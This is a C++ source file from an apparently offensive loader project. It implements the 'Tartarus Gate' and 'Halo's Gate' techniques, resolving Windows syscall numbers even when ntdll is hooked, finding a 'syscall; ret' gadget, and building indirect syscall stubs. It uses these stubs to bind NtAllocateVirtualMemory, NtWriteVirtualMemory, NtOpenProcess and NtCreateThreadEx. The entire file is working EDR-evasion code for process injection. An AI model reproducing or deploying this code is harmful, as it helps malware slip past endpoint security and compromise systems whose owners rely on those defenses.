Files
AbishekPonmudi-Dynloader/lib/syscall/tartarus_gate.cpp
T
2026-07-10 11:56:50 -07:00

236 lines
7.6 KiB
C++

#include "tartarus_gate.hpp"
#include "../pe/pe_parser.hpp"
#include "../resolve/api_resolver.hpp"
#include "../common/hashes.hpp"
#include "../common/log.hpp"
#include <cstring>
#include <iostream>
#include <vector>
namespace TartarusGate {
namespace {
std::vector<PVOID> g_stubPages;
// Tartarus Gate: resolve SSN from export stub; if hooked (jmp), walk neighbors (Halo's Gate).
std::uint32_t ExtractSSN(PBYTE stub) {
// Unhooked x64 stub: 4C 8B D1 B8 imm32
if (stub[0] == 0x4C && stub[1] == 0x8B && stub[2] == 0xD1 && stub[3] == 0xB8) {
return *reinterpret_cast<DWORD*>(stub + 4);
}
return 0;
}
std::uint32_t HaloResolve(PBYTE stub) {
for (int j = 1; j <= 500; ++j) {
auto* down = stub + (j * 0x20);
if (down[0] == 0x4C && down[1] == 0x8B && down[3] == 0xB8) {
const auto neighbor = *reinterpret_cast<DWORD*>(down + 4);
return neighbor - static_cast<std::uint32_t>(j);
}
auto* up = stub - (j * 0x20);
if (up[0] == 0x4C && up[1] == 0x8B && up[3] == 0xB8) {
const auto neighbor = *reinterpret_cast<DWORD*>(up + 4);
return neighbor + static_cast<std::uint32_t>(j);
}
}
return 0;
}
static HMODULE NtdllBase() {
return ApiResolver::GetNtdll();
}
static FARPROC NtdllExport(std::uint32_t hash) {
return PeParser::GetExportByHash(NtdllBase(), hash);
}
PVOID AllocStubPage(const void* code, size_t size) {
// Bootstrap stub pages via direct ntdll exports (one-time); all runtime ops use indirect stubs.
auto* pAlloc = reinterpret_cast<fnNtAllocateVirtualMemory>(
NtdllExport(Hashes::H_NtAllocateVirtualMemory));
auto* pProt = reinterpret_cast<fnNtProtectVirtualMemory>(
NtdllExport(Hashes::H_NtProtectVirtualMemory));
if (!pAlloc || !pProt) {
return nullptr;
}
PVOID base = nullptr;
SIZE_T region = size;
if (!NT_SUCCESS(pAlloc(GetCurrentProcess(), &base, 0, &region,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) || !base) {
return nullptr;
}
std::memcpy(base, code, size);
ULONG old = 0;
PVOID protBase = base;
SIZE_T protSize = region;
if (!NT_SUCCESS(pProt(GetCurrentProcess(), &protBase, &protSize,
PAGE_EXECUTE_READ, &old))) {
return nullptr;
}
g_stubPages.push_back(base);
return base;
}
} // anonymous namespace
std::uint32_t ResolveSSN(HMODULE ntdll, std::uint32_t exportHash) {
if (!ntdll) {
Log::Err("Unable to Resolve SSN %s");
return 0;
}
auto* base = reinterpret_cast<PBYTE>(ntdll);
auto* nt = PeParser::GetNtHeaders(ntdll);
if (!nt) {
return 0;
}
const auto& dir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (!dir.VirtualAddress) {
return 0;
}
auto* exp = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(base + dir.VirtualAddress);
auto* names = reinterpret_cast<PDWORD>(base + exp->AddressOfNames);
auto* ords = reinterpret_cast<PWORD>(base + exp->AddressOfNameOrdinals);
auto* funcs = reinterpret_cast<PDWORD>(base + exp->AddressOfFunctions);
for (DWORD i = 0; i < exp->NumberOfNames; ++i) {
const char* exportName = reinterpret_cast<const char*>(base + names[i]);
if (Hashes::Djb2(exportName) != exportHash) {
continue;
}
auto* stub = base + funcs[ords[i]];
// Tartarus: detect hook (jmp/call redirect).
if (stub[0] == 0xE9 || stub[0] == 0xEB || stub[0] == 0xFF) {
Log::Dbg("SSN resolve: hooked stub @ %p first=0x%02X — Halo's Gate",
stub, stub[0]);
return HaloResolve(stub);
}
auto ssn = ExtractSSN(stub);
if (ssn) {
Log::Dbg("SSN resolve: clean stub @ %p SSN=%u", stub, ssn);
return ssn;
}
Log::Dbg("SSN resolve: clean pattern miss @ %p — Halo's Gate", stub);
return HaloResolve(stub);
}
return 0;
}
PVOID FindSyscallGadget(HMODULE ntdll) {
if (!ntdll) {
return nullptr;
}
auto* base = reinterpret_cast<PBYTE>(ntdll);
auto* nt = PeParser::GetNtHeaders(ntdll);
if (!nt) {
return nullptr;
}
auto* sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; ++i) {
if (std::memcmp(sec[i].Name, ".text", 5) != 0) {
continue;
}
PBYTE start = base + sec[i].VirtualAddress;
DWORD size = sec[i].Misc.VirtualSize;
for (DWORD off = 0; off + 2 < size; ++off) {
// syscall; ret
if (start[off] == 0x0F && start[off + 1] == 0x05 && start[off + 2] == 0xC3) {
return start + off;
}
}
}
return nullptr;
}
PVOID CreateIndirectStub(std::uint32_t ssn, PVOID gadget) {
if (!gadget || ssn == 0) {
return nullptr;
}
// mov r10, rcx | mov eax, SSN | jmp [rip+0] | dq gadget
static const BYTE hdr[] = {
0x4C, 0x8B, 0xD1,
0xB8, 0x00, 0x00, 0x00, 0x00,
0xFF, 0x25, 0x00, 0x00, 0x00, 0x00
};
BYTE buf[sizeof(hdr) + sizeof(PVOID)] = {};
std::memcpy(buf, hdr, sizeof(hdr));
*reinterpret_cast<DWORD*>(buf + 4) = ssn;
*reinterpret_cast<PVOID*>(buf + sizeof(hdr)) = gadget;
PVOID page = AllocStubPage(buf, sizeof(buf));
return page;
}
bool BindSyscall(SyscallTable& table, std::uint32_t hash, PVOID& outStub, const char* debugTag) {
auto* ntdll = ApiResolver::GetNtdll();
const auto ssn = ResolveSSN(ntdll, hash);
if (!ssn) {
Log::Raw("TartarusGate SSN FAIL hash=0x%08X tag=%s", hash, debugTag);
return false;
}
outStub = CreateIndirectStub(ssn, table.gadget);
if (!outStub) {
Log::Raw("TartarusGate STUB FAIL SSN=%u tag=%s", ssn, debugTag);
return false;
}
Log::Raw("syscall %-28s SSN=%4u stub=%p gadget=%p", debugTag, ssn, outStub, table.gadget);
return true;
}
bool Initialize(SyscallTable& table) {
auto* ntdll = ApiResolver::GetNtdll();
if (!ntdll) {
return false;
}
table.gadget = FindSyscallGadget(ntdll);
if (!table.gadget) {
return false;
}
Log::Banner("Tartarus Gate Init");
Log::Raw("ntdll=%p | indirect syscall; ret gadget=%p", ntdll, table.gadget);
PVOID stub = nullptr;
#define BIND(field, hash, tag) \
if (!BindSyscall(table, hash, stub, tag)) return false; \
table.field = reinterpret_cast<decltype(table.field)>(stub)
BIND(NtAllocateVirtualMemory, Hashes::H_NtAllocateVirtualMemory, "NtAllocateVirtualMemory");
BIND(NtProtectVirtualMemory, Hashes::H_NtProtectVirtualMemory, "NtProtectVirtualMemory");
BIND(NtWriteVirtualMemory, Hashes::H_NtWriteVirtualMemory, "NtWriteVirtualMemory");
BIND(NtFreeVirtualMemory, Hashes::H_NtFreeVirtualMemory, "NtFreeVirtualMemory");
BIND(NtCreateSection, Hashes::H_NtCreateSection, "NtCreateSection");
BIND(NtMapViewOfSection, Hashes::H_NtMapViewOfSection, "NtMapViewOfSection");
BIND(NtUnmapViewOfSection, Hashes::H_NtUnmapViewOfSection, "NtUnmapViewOfSection");
BIND(NtOpenProcess, Hashes::H_NtOpenProcess, "NtOpenProcess");
BIND(NtCreateThreadEx, Hashes::H_NtCreateThreadEx, "NtCreateThreadEx");
BIND(NtClose, Hashes::H_NtClose, "NtClose");
BIND(NtQuerySystemInformation, Hashes::H_NtQuerySystemInformation, "NtQuerySystemInformation");
#undef BIND
table.initialized = true;
return true;
}
void CleanupStubs() {
// Stubs are small RX pages; leak on exit is acceptable for loader lifetime.
g_stubPages.clear();
}
} // namespace TartarusGate